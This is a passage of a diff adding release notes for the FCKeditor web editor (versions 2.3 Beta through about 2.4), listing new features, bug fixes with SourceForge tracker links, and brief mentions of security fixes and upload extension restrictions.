+                       BUG-1610790</a>] On some specific situations, the call to form.submit(), in form
+                       were FCKeditor has been unloaded by code, was throwing the "Can't execute code from
+                       a freed script" error.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1613167&group_id=75348&atid=543653">SF
+                       BUG-1613167</a>] If the configuration was missing the FCKConfig.AdditionalNumericEntities
+                       entry an error appeared.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1590848&group_id=75348&atid=543653">SF
+                       BUG-1590848</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1626360&group_id=75348&atid=543653">SF
+                               BUG-1626360</a>] Cleaning of JavaScript strict warnings in the source code.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1559466&group_id=75348&atid=543653">SF
+                       BUG-1559466</a>] The ol/ul list property window always searched first for a UL element.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1516008&group_id=75348&atid=543653">SF
+                       BUG-1516008</a>] Class attribute in IE wasn't loaded in the image dialog.</li>
+               <li>The "OnAfterSetHTML" event is now fired when being/switching to Source View.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1631807&group_id=75348&atid=543653">SF
+                       BUG-1631807</a>] Elements' style properties are now forced to lowercase in IE.</li>
+               <li>The extensions "html", "htm" and "asis" have been added to the list of denied extensions
+                       on upload.</li>
+               <li>Empty inline elements (like span and strong) will not be generated any more.</li>
+               <li>Some elements attributes (like hspace) where not being retrieved when set to "0".</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1508341&group_id=75348&atid=543653">SF
+                       BUG-1508341</a>] Fix for the ColdFusion script file of SpellerPages.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.imedi.org/">Medical
+                       Media Lab</a>.</p>
+       <h3>
+               Version 2.3.3</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The project has been <strong>relicensed</strong> under the terms of the <strong>
+                       GPL / LGPL / MPL</strong> licenses. This change will remove many licensing compatibility
+                       issues with other open source licenses, making the editor even more "open" than
+                       before. </li>
+               <li><font color="#ff0000">Attention:</font> The default directory in the distribution
+                       package is now named "fckeditor" (in lowercase) instead of "FCKeditor".&nbsp; This
+                       change may impact installations on case sensitive OSs, like Linux. 
+               </li>
+               <li><font color="#ff0000">Attention:</font> The "Universal Keyboard"
+                       has been removed from the package. The license of those files was unclear so they
+                       can't be included alongside the rest of FCKeditor.</li></ul>
+       <h3>
+               Version 2.3.2</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>Users can now decide if the template dialog will replace the entire contents of
+                       the editor or simply place the template in the cursor position. This feature can
+                       be controlled by the "TemplateReplaceAll" and "TemplateReplaceCheckbox" configuration
+                       options.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1237693&group_id=75348&atid=543655">SF
+                       Patch-1237693</a>] A new configuration option (<strong>ProcessNumericEntities</strong>)
+                       is now available to tell the editor to convert non ASCII chars to their relative
+                       numeric entity references. It is disabled by default.</li>
+               <li>The new "<strong>AdditionalNumericEntities</strong>" setting makes it possible to
+                       define a set of characters to be transformed to their relative numeric entities.
+                       This is useful when you don't want the code to have simple quotes ('), for example.</li>
+               <li>The Norwegian language file (no.js) has been duplicated to include the Norwegian
+                       Bokmal (nb.js) in the supported interface languages. Thanks to Martin Kronstad.
+               </li>
+               <li>Two new patterns have been added to the Universal Keyboard:
+                       <ul>
+                               <li>Persian. Thanks to Pooyan Mahdavi</li>
+                               <li>Portuguese. Thanks to Bo Brandt.</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1517322&group_id=75348&atid=543655">SF
+                       Patch-1517322</a>] It is now possible to define the start number on numbered lists.
+                       Thanks to Marcel Bennett.</li>
+               <li>The Font Format combo will now reflect the EditorAreaCSS styles.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1461539&group_id=75348&atid=543655">SF
+                       Patch-1461539</a>] The File Browser connector can now optionally return a "url"
+                       attribute for the files. Thanks to Pent.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1090851&group_id=75348">SF
+                       BUG-1090851</a>] The new "ToolbarComboPreviewCSS" configuration option has been
+                       created, so it is possible to point the Style and Format toolbar combos to a different
+                       CSS, avoiding conflicts with the editor area CSS.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1421309&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1421309</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1489402&group_id=75348">SF
+                               BUG-1489402</a>] It is now possible to configure the Quick Uploder target path
+                       to consider the file type (ex: Image or File) in the target path for uploads.</li>
+               <li>The JavaScript integration file has two new things:
+                       <ul>
+                               <li>The "CreateHtml()" function in the FCKeditor object, used to retrieve the HTML of
+                                       an editor instance, instead of writing it directly to the page (as done by "Create()").</li>
+                               <li>The global "FCKeditor_IsCompatibleBrowser()" function, which tells if the executing
+                                       browser is compatible with FCKeditor. This makes it possible to do any necessary
+                                       processing depending on the compatibility, without having to create and editor instance.</li>
+                       </ul>
+               </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1525242&group_id=75348">SF
+                       BUG-1525242</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1500050&group_id=75348">SF
+                               BUG-1500050</a>] All event attributes (like onclick or onmouseover) are now
+                       being protected before loading the editor. In this way, we avoid firing those events
+                       during editing (IE issue) and they don't interfere in other specific processors
+                       in the editor.</li>
+               <li>Small security fixes to the File Browser connectors. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1546226&group_id=75348">SF
+                       BUG-1546226</a>] Small fix to the ColdFusion CFC integration file.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&atid=543655&aid=1547768&group_id=75348">SF
+                       Patch-1407500</a>] The Word Cleanup function was breaking the HTML on pasting, on
+                       very specific cases. Fixed, thanks to Frode E. Moe.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1551979&group_id=75348&atid=543655">SF
+                       Patch-1551979</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1418066&group_id=75348">SF
+                               BUG-1418066</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1439621&group_id=75348">SF
+                                       BUG-1439621</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1501698&group_id=75348&atid=543653">SF
+                                               BUG-1501698</a>] Make FCKeditor work with application/xhtml+xml. Thanks
+                       to Arpad Borsos.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1547738&group_id=75348&atid=543655">SF
+                       Patch-1547738</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1550595&group_id=75348&atid=543653">SF
+                               BUG-1550595</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1540807&group_id=75348&atid=543653">SF
+                                       BUG-1540807</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1510685&group_id=75348&atid=543653">SF
+                                               BUG-1510685</a>] Fixed problem with panels wrongly positioned when the
+                       editor is placed on absolute or relative positioned elements. Thanks to Filipe Martins.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1511294&group_id=75348&atid=543655">SF
+                       Patch-1511294</a>] Small fix for the File Browser compatibility with IE 5.5.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1503178&group_id=75348&atid=543655">SF
+                       Patch-1503178</a>] Small improvement to stop IE from loading smiley images when
+                       one smiley is quickly selected from a huge list of smileys. Thanks to stuckhere.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1549112&group_id=75348&atid=543653">SF
+                       BUG-1549112</a>] The Replace dialog window now escapes regular expression specific
+                       characters in the find and replace fields.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1548788&group_id=75348&atid=543653">SF
+                       BUG-1548788</a>] Updated the ieSpell download URL.</li>
+               <li>In FF, the editor was throwing an error when closing the window. Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1538509&group_id=75348&atid=543653">SF
+                       BUG-1538509</a>] The "type" attribute for text fields will always be set now.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1551734&group_id=75348&atid=543653">SF
+                       BUG-1551734</a>] The SetHTML function will now update the editing area height no
+                       matter which editing mode is active.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1554141&group_id=75348&atid=543653">SF
+                       BUG-1554141</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1565562&group_id=75348&atid=543653">SF
+                               BUG-1565562</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1451056&group_id=75348&atid=543653">SF
+                                       BUG-1451056</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1478408&group_id=75348&atid=543653">SF
+                                               BUG-1478408</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1489322&group_id=75348&atid=543653">SF
+                                                       BUG-1489322</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1513667&group_id=75348&atid=543653">SF
+                                                               BUG-1513667</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1562134&group_id=75348&atid=543653">SF
+                                                                       BUG-1562134</a>] The protection of URLs has been enhanced
+                       and now it will not break URLs on very specific cases.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1545732&group_id=75348&atid=543653">SF
+                       BUG-1545732</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1490919&group_id=75348&atid=543653">SF
+                               BUG-1490919</a>] No security errors will be thrown when loading FCKeditor in
+                       page inside a FRAME defined in a different domain.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1512817&group_id=75348&atid=543653">SF
+                       BUG-1512817</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1571345&group_id=75348&atid=543653">SF
+                               BUG-1571345</a>] Fixed the "undefined" addition to the content when ShowBorders
+                       = false and FullPage = true in Firefox. Thanks to Brett.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1512798&group_id=75348&atid=543653">SF
+                       BUG-1512798</a>] BaseHref will now work well on FullPage, even if no &lt;head&gt;
+                       is available.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1509923&group_id=75348&atid=543653">SF
+                       BUG-1509923</a>] The DocumentProcessor is now called when using InserHtml().</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1505964&group_id=75348&atid=543653">SF
+                       BUG-1505964</a>] The DOCTYPE declaration is now preserved when working in FullPage.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1553727&group_id=75348&atid=543653">SF
+                       BUG-1553727</a>] The editor was throwing an error when inserting complex templates.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1564930&group_id=75348&atid=543655">SF
+                       Patch-1564930</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1562828&group_id=75348">SF
+                               BUG-1562828</a>] In IE, anchors where incorrectly copied when using the Paste
+                       from Word button. Fixed, thanks to geirhelge.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1557709&group_id=75348&atid=543653">SF
+                       BUG-1557709</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1421810&group_id=75348&atid=543653">SF
+                               BUG-1421810</a>] The link dialog now validates Popup Window names.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1556878&group_id=75348&atid=543653">SF
+                       BUG-1556878</a>] Firefox was creating empty tags when deleting the selection in
+                       some special cases.</li>
+               <li>The context menu for links is now correctly shown when right-clicking on floating
+                       divs.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1084404&group_id=75348&atid=543653">SF
+                       BUG-1084404</a>] The XHTML processor now ignores empty span tags.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1221728&group_id=75348&atid=543653">SF
+                       BUG-1221728</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1174503&group_id=75348&atid=543653">SF
+                               BUG-1174503</a>] The &lt;abbr&gt; tag is not anymore getting broken by IE.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1182906&group_id=75348&atid=543653">SF
+                       BUG-1182906</a>] IE is not anymore messing up mailto links.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1386094&group_id=75348&atid=543653">SF
+                       BUG-1386094</a>] Fixed an issue when setting configuration options to empty ('')
+                       by code.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1389435&group_id=75348&atid=543653">SF
+                       BUG-1389435</a>] Fixed an issue in some dialog boxes when handling numeric inputs.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1398829&group_id=75348&atid=543653">SF
+                       BUG-1398829</a>] Some links may got broken on very specific cases. Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1409969&group_id=75348&atid=543653">SF
+                       BUG-1409969</a>] &lt;noscript&gt; tags now remain untouched by the editor.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1433457&group_id=75348&atid=543653">SF
+                       BUG-1433457</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1513631&group_id=75348&atid=543653">SF
+                               BUG-1513631</a>] Empty "href" attributes in &lt;a&gt; or empty "src" in &lt;img&gt;
+                       will now be correctly preserved.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1435195&group_id=75348&atid=543653">SF
+                       BUG-1435195</a>] Scrollbars are now visible in the File Browser (for custom implementations).</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1438296&group_id=75348&atid=543653">SF
+                       BUG-1438296</a>] The "ForceSimpleAmpersand" setting is now being honored in all
+                       tags.</li>
+               <li>If a popup blocker blocks context menu operations, the correct alert message is
+                       displayed now, instead of a ugly JavaScript error.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1454116&group_id=75348&atid=543653">SF
+                       BUG-1454116</a>] The GetXHTML() function will not change the IsDirty() value of
+                       the editor.</li>
+               <li>The spell check may not work correctly when using SpellerPages with ColdFusion.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1481861&group_id=75348&atid=543653">SF
+                       BUG-1481861</a>] HTML comments are now removed by the Word Cleanup System.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1489390&group_id=75348&atid=543653">SF
+                       BUG-1489390</a>] A few missing hard coded combo options used in some dialogs are
+                       now localizable.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1505448&group_id=75348&atid=543653">SF
+                       BUG-1505448</a>] The Form dialog now retrieves the value of the "action" attribute
+                       exactly as defined in the source.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1517322&group_id=75348&atid=543655">SF
+                       Patch-1517322</a>] Solved an issue when the toolbar has buttons with simple icons
+                       (usually used by plugins) mixed with icons coming from a strip (the default toolbar
+                       buttons).</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1575261&group_id=75348&atid=543655">SF
+                       Patch-1575261</a>] Some fields in the Table and Cell Properties dialogs were being
+                       cut. Fixed.</li>
+               <li>Fixed a startup compatibility issue with Firefox 1.0.4.</li>
+       </ul>
+       <h3>
+               Version 2.3.1</h3>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/support/tracker.php?aid=1506126">SF
+                       BUG-1506126</a>] Fixed the Catalan language file, which had been published with
+                       problems in accented letters. </li>
+               <li>More performance improvements in the default File Browser.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1506701&group_id=75348&atid=543653">SF
+                       BUG-1506701</a>] Fixed compatibility issues with IE 5.5.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1509073&group_id=75348&atid=543653">SF
+                       BUG-1509073</a>] Fixed the "Image Properties" dialog window, which was making invalid
+                       calls to the "editor/dialog/" directory, generating error 400 entries in the web
+                       server log.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507294&group_id=75348&atid=543653">SF
+                       BUG-1507294</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507953&group_id=75348&atid=543653">SF
+                               BUG-1507953</a>] The editing area was getting a fixed size when using the "SetHTML"
+                       API command or even when switching back from the source view. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1507755&group_id=75348">SF
+                       BUG-1507755</a>] Fixed a conflict between the "DisableObjectResizing" and "ShowBorders"
+                       configuration options over IE.</li>
+               <li>Opera 9 tries to "mimic" Gecko in the browser detection system of FCKeditor. As
+                       this browser is not "yet" supported, the editor was broken on it. It has been fixed,
+                       and now a textarea is displayed, as in any other unsupported browser. Support for
+                       Opera is still experimental and can be activated by setting the property "EnableOpera"
+                       to true when creating an instance of the editor with the JavaScript integration
+                       files.</li>
+               <li>With Opera 9, the toolbar was jumping on buttons rollover. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1509479&group_id=75348&atid=543656">SF
+                       BUG-1509479</a>] The iframes used in Firefox for all editor panels (dropdown combos,
+                       context menu, etc...) are now being placed right before the main iframe that holds
+                       the editor. In this way, if the editor container element is removed from the DOM
+                       (by DHTML) they are removed together with it.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1271070&group_id=75348&atid=543653">SF
+                       BUG-1271070</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1411430&group_id=75348&atid=543653">SF
+                               BUG-1411430</a>] The editor API now works well on DHTML pages that create and
+                       remove instances of FCKeditor dynamically. </li>
+               <li>A second call to a page with the editor was not working correctly with Firefox 1.0.x.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1511460&group_id=75348&atid=543653">SF
+                       BUG-1511460</a>] Small correction to the &lt;script&gt; protected source regex.
+                       Thanks to Randall Severy.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1521754&group_id=75348">SF
+                       BUG-1521754</a>] Small fix to the paths of the internal CSS files used by FCKeditor.
+                       Thanks to johnw_ceb.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1511442&group_id=75348&atid=543653">SF
+                       BUG-1511442</a>] The &lt;base&gt; tag is now correctly handled in IE, no matter
+                       its position in the source code.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507773&group_id=75348&atid=543653">SF
+                       BUG-1507773</a>] The "Lock" and "Reset" buttons in the Image Properties dialog window
+                       are not anymore jumping with Firefox 1.5.</li>
+       </ul>
+       <h3>
+               Version 2.3</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The <strong>Toolbar Sharing</strong> system has been completed. See sample10.html
+                       and sample11.html.*</li><li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1407500&group_id=75348&atid=543655">SF
+                               Patch-1407500</a>] Small enhancement to the Find and Replace dialog windows.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>Small security fixes.</li>
+               <li>The context menu system has been optimized. Nested menus now open "onmouseover".
+               </li>
+               <li>An error in the image preloader system was making the toolbar strip being downloaded
+                       once for each button on slow connections. Some enhancements have also been made
+                       so now the smaple05.html is loading fast for all skins.</li><li>Fixed many memory leak
+                               issues with IE.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1489768&group_id=75348&atid=543653">SF
+                       BUG-1489768</a>] The panels (context menus, toolbar combos and color selectors),
+                       where being displayed in the wrong position if the contents of the editor, or its
+                       containing window were scrolled down. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1493176&group_id=75348">SF
+                       BUG-1493176</a>] Using ASP, the connector was not working on servers with buffer
+                       disable by default.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1491784&group_id=75348&atid=543653">SF
+                       BUG-1491784</a>] Language files have been updated to not include html entities.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1490259&group_id=75348&atid=543653">SF
+                       BUG-1490259</a>] No more security warning on IE over HTTPS.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1493173&group_id=75348&atid=543653">SF
+                       BUG-1493173</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1499708&group_id=75348">SF
+                               BUG-1499708</a>] We now assume that, if a user is in source editing, he/she
+                       wants to control the HTML, so the editor doesn't make changes to it when posting
+                       the form being in source view or when calling the GetXHTML function in the API.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1490610&group_id=75348&atid=543653">SF
+                       BUG-1490610</a>] The FitWindow is now working on elements set with relative position.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1493438&group_id=75348&atid=543653">SF
+                       BUG-1493438</a>] The "Word Wrap" combo in the cell properties dialog now accepts
+                       only Yes/No (no more &lt;Not Set&gt; value).</li>
+               <li>The context menu is now being hidden when a nested menu option is selected.</li>
+               <li>Table cell context menu operations are now working correctly.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1494549&group_id=75348&atid=543653">SF
+                       BUG-1494549</a>] The code formatter was having problems with dollar signs inside
+                       &lt;pre&gt; tags.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1459740&group_id=75348&atid=543655">SF
+                       Patch-1459740</a>] The "src" element of images can now be set by styles definitions.
+                       Thanks to joelwreed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1437052&group_id=75348&atid=543655">SF
+                       Patch-1437052</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1436166&group_id=75348&atid=543655">SF
+                               Patch-1436166</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1352385&group_id=75348&atid=543655">SF
+                                       Patch-1352385</a>] Small fix to the FCK.InsertHtml, FCKTools.AppendStyleSheet
+                       and FCKSelection.SelectNode functions over IE. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1349765&group_id=75348&atid=543655">SF
+                       Patch-1349765</a>] Small fix to the FCKSelection.GetType over Firefox. Thanks to
+                       Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543655&aid=1495422&group_id=75348">SF
+                       Patch-1495422</a>] The editor now creates link based on the URL when no selection
+                       is available. Thanks to Dominik Pesch.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543655&aid=1478859&group_id=75348">SF
+                       Patch-1478859</a>] On some circumstances, the Yahoo popup blocker was blocking the
+                       File Browser window, giving no feedback to the user. Now an alert message is displayed.</li>
+               <li>When using the editor in a RTL localized interface, like Arabic, the toolbar combos
+                       were not showing completely in the first click. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1500212&group_id=75348">SF
+                       BUG-1500212</a>] All "_samples/html" samples are now working when loading directly
+                       from the Windows Explorer. Thanks to Alfonso Martinez.</li>
+               <li>The "FitWindow" feature was breaking the editor under Firefox 1.0.x.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1500032&group_id=75348&atid=543655">SF
+                       Patch-1500032</a>] In Firefox, the caret position now follows the user clicks when
+                       clicking in the white area bellow the editor contents. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1499522&group_id=75348">SF
+                       BUG-1499522</a>] In Firefox, the link dialog window was loosing the focus (and quickly
+                       reacquiring it) when opening. This behavior was blocking the dialog in some Linux
+                       installations. </li>
+               <li>Drastically improved the loading performance of the file list in the default File
+                       Browser.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1503059&group_id=75348">SF
+                       BUG-1503059</a>] The default "BasePath" for FCKeditor in all integration files has
+                       been now unified to "/fckeditor/" (lower-case). This is the usual casing system
+                       in case sensitive OSs like Linux.</li>
+               <li>The "DisableFFTableHandles" setting is now honored when switching the full screen
+                       mode with FitWindow.</li>
+               <li>Some fixes has been applied to the cell merging in Firefox.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.footsteps.nl/">Footsteps</a>
+               and <a href="http://www.kentico.com/">Kentico</a>.</p>
+       <h3>
+               Version 2.3 Beta</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li><span><strong>Extremely Fast Loading!</strong> The editor now loads more than 3
+                       times faster than before, with no impact on its advanced features.</span> </li>
+               <li><span><strong>New toolbar system</strong>:</span>
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1454850&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1454850</a>] The toolbar will now <strong>load much faster</strong>. All
+                                       images have being merged in a single image file using a unique system available
+                                       only with FCKeditor. </li>
+                               <li>The &quot;Text Color&quot; and &quot;Background Color&quot; commands buttons have
+                                       enhancements on the interface.</li>
+                               <li><strong><span style="color: #ff0000">Attention</span></strong>: As a completely
+                                       new system has being developed. Skins created for versions prior this one will not
+                                       work. Skin styles definitions have being merged, added and removed. All skins have
+                                       been a little bit reviewed. </li>
+                               <li>It is possible to <strong>detach the toolbar</strong> from an editor instance and
+                                       share it with other instances. In this way you may have only one toolbar (in the
+                                       top of the window, for example, that can be used by many editors (see <a href="_samples/html/sample10.html">
+                                               sample10.html</a>). This feature is still under development (issues with IE
+                                       focus still to be solved).* </li>
+                       </ul>
+               </li>
+               <li><strong><span>New context menu system</span></strong>:
+                       <ul>
+                               <li>It uses the same (fast) loading system as the toolbar. </li>
+                               <li>Sub-Menus are now available to group features (try the context menu over a table
+                                       cell). </li>
+                               <li>It is now possible to create your own context menu entries by creating plugins.
+                               </li>
+                       </ul>
+               </li>
+               <li><strong>New "FitWindow" toolbar button</strong>, based on the <a href="https://sourceforge.net/tracker/index.php?func=detail&aid=1431638&group_id=75348&atid=737639">
+                       plugin</a> published by Paul Moers. Thanks Paul!</li>
+               <li><strong>&quot;Auto Grow&quot; Plugin</strong>: automatically resizes the editor
+                       until a maximum height, based on its contents size.** </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1444943&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1444943</a>] <strong>Multiple CSS files</strong> can now be used in the
+                       editing area. Just define FCKConfig.EditorAreaCSS as an array of strings (each one
+                       is a path to a different css file). It works also as a simple string, as on prior
+                       versions. </li>
+               <li>New language files:<ul>
+                       <li><strong>Bengali / Bangla</strong> (by Richard Walledge).</li>
+                       <li><strong>English (Canadian)</strong> (by Kevin Bennett). </li>
+                       <li><strong>Khmer</strong> (by Sengtha Chay).</li>
+               </ul>
+               </li>
+               <li>The source view is now available in the editing area on Gecko browsers. Previously
+                       a popup was used for it (due to a Firefox bug). </li>
+               <li><span>As some people may prefer the popup way for source editing, a new configuration
+                       option (SourcePopup) has being introduced.</span> </li>
+               <li>The IEForceVScroll configuration option has been removed. The editor now automatically
+                       shows the vertical scrollbar when needed (for XHTML doctypes). </li>
+               <li>The configuration file doesn't define a default DOCTYPE to be used now. </li>
+               <li>It is now possible to easily change the toolbar using the JavaScript API by just
+                       calling &lt;EditorInstance&gt;.ToolbarSet.Load( '&lt;ToolbarName&gt;' ). See _testcases/010.html
+                       for a sample. </li>
+               <li>The &quot;OnBlur&quot; and &quot;OnFocus&quot; JavaScript API events are now compatible
+                       with all supported browsers. </li>
+               <li>Some few updates in the Lasso connector and uploader. </li>
